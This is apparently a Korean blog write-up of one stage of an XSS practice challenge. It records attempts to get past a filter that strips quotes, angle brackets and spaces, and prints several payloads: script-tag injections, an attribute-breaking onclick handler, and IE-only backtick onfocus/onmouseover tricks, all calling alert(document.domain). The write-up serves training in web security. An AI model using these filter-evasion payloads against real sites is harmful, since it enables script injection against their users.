보다시피 특수문자를 필터링하는 것 같다. ", >, <이 사라졌다.
힌트 : "s/[\x00-\x20\<\>\"\']//g;"
해당 문자를 필터링하는 것 같다.
html ehx인코딩이 통하는 거 같아서 써봤는데 잘 안됐다.
”><script>alert(document.domain);</script>
쿼터를 다른 걸로 쓴 거 같아서 더블쿼터로 다시 써줬는데 반응이 없었다.
"><script>alert(document.domain);</script><"
onclick은 성공했다.
개발자 도구말고 검색창에도 써보았다. 더블쿼터만 우회했다.
1" onclick="alert(document.domain);
공백이 자꾸 사라져서 왜 그런가 했는데 그냥 버그라고 한다. 개발자도구에서 공백을 추가해주면 정상적으로 작동한다.
버그가 아니라 공백을 필터링하기 때문이다. 공백만 우회하면 될 것도 같은데...
%20, %23등은 아예 안통한다.
1" onclick="alert(document.domain);
지금보니 오타가... 다시 작성해도 작동은 안했다.
각종 XSS 참고
XSS Filter Evasion Cheat Sheet
Anti-XSS Filter Evasion of XSS
더보기
onclick이 너무 잘통해서 치트쓰는 기분이다. 다른 방법도 찾아보았다.
IE에서는 다음과 같은 방법을 쓸 수 있다고 한다.
` ` onfocus= alert(document.domain); autofous
필터링을 우회할 필요가 없어 좋다.
`` onmouseover=javascript:alert(document.domain)
이것도 비슷한 방법이다. 역시 IE에서만 작동한다.
'Web Hacking > XSS challenge' 카테고리의 다른 글
[XSS challenge] Stage #14 (0) | 2021.06.25 |
---|---|
[XSS challenge] Stage #13 (0) | 2021.05.29 |
[XSS challenge] Stage #10 (0) | 2021.05.19 |
[xss challenge] Stage #9 (0) | 2021.05.19 |
[XSS challenge] Stage #8 (0) | 2021.05.09 |